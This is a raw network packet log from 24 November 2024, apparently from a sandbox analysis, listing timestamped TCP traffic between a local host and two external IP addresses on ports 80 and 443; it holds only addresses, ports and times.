Nov 24, 2024 14:24:18.783113956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.783170938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.783253908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.783308983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.787798882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.787853956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.787925959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.787993908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.792422056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.792476892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.792543888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.792601109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.797173023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.797228098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.797230959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.797306061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.801888943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.801949024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.802033901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.802088976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.806340933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.806400061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.806440115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.806492090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.810960054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.811012983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.811012983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.811068058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.814518929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.814574957 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.814675093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.814728975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.818001032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.818057060 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.818119049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.818171024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.821392059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.821460962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.821531057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.821584940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.824888945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.824956894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.825027943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.825098991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.828413963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.828475952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.828545094 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.828561068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.828610897 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.832103014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.832160950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.832271099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.832324028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.835374117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.835444927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.835515976 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.835568905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.838869095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.838939905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.838980913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.839031935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.842456102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.842489958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.842518091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.842549086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.866575956 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.866924047 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.866981030 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.867151976 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.867183924 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.867225885 CET	49777	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.867244005 CET	443	49777	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.962973118 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.963032007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.963130951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.963130951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.964380980 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.964436054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.964520931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.964561939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.967139006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.967192888 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.967269897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.967329025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.969974041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.970031023 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.970048904 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.970098019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.972726107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.972779036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.972898960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.972949982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.975379944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.975435019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.975502968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.975572109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.978111982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.978164911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.978167057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.978212118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.980866909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.980926037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.980974913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.981020927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.983546972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.983612061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.983684063 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.983738899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.986275911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.986351013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.986407042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.986474991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.988990068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.989048958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.989051104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.989099979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.991698027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.991774082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.991796970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.991847992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.992717981 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.992750883 CET	443	49784	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.992830992 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.993088007 CET	49784	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:18.993103027 CET	443	49784	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:18.994415045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.994477034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.994535923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.994585991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.997236967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.997294903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.997313023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.997364044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.999861002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:18.999917984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:18.999955893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.000010967 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.002564907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.002626896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.002677917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.002737045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.005294085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.005371094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.005444050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.005500078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.007998943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.008055925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.008107901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.008157969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.010700941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.010767937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.010829926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.010883093 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.013420105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.013488054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.013559103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.013614893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.016127110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.016182899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.016248941 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.016303062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.018862009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.018923044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.018971920 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.019030094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.021552086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.021614075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.021650076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.021703005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.024305105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.024367094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.024465084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.024519920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.027026892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.027081966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.027153969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.027220011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.029736042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.029797077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.029880047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.029933929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.032438993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.032497883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.032541037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.032594919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.035156965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.035212040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.035217047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.035267115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.037861109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.037916899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.037919044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.037972927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.040605068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.040667057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.040740967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.040791988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.043349981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.043400049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.043404102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.043454885 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.046021938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.046081066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.046139956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.046211004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.048779964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.048846960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.048907995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.048963070 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.051434040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.051493883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.051569939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.051628113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.054157019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.054214954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.054270983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.054326057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.056864977 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.056921959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.164036989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.164125919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.164189100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.164248943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.165105104 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.165162086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.165215969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.165268898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.167386055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.167454958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.167522907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.167576075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.169663906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.169727087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.169740915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.169775009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.171945095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.172004938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.172126055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.172183037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.174138069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.174192905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.174257994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.174316883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.176429033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.176493883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.176549911 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.176605940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.178596020 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.178653955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.178709984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.178765059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.180608988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.180680037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.180708885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.180763960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.182722092 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.182779074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.182828903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.182887077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.184855938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.184915066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.184959888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.185022116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.186928034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.186988115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.187011003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.187067032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.189059973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.189116001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.189169884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.189223051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.191184044 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.191235065 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.191306114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.191364050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.193303108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.193353891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.193397999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.193459034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.195409060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.195465088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.195524931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.195574999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.197526932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.197581053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.197654009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.197704077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.199640989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.199698925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.199762106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.199811935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.201744080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.201798916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.201869965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.201911926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.203917027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.203970909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.204005003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.204057932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.206053972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.206125021 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.206198931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.206336975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.208308935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.208368063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.208508968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.208559990 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.210741043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.210797071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.210830927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.210880995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.212531090 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.212584019 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.212639093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.212692022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.214514971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.214567900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.214570045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.214620113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.216625929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.216679096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.216710091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.216756105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.218739986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.218796015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.218894958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.218950033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.220896959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.220958948 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.221035004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.221088886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.222984076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.223041058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.223139048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.223192930 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.225505114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.225558996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.225578070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:19.225631952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:19.227364063 CET	80	49778	31.41.244.11	192.168.2.4
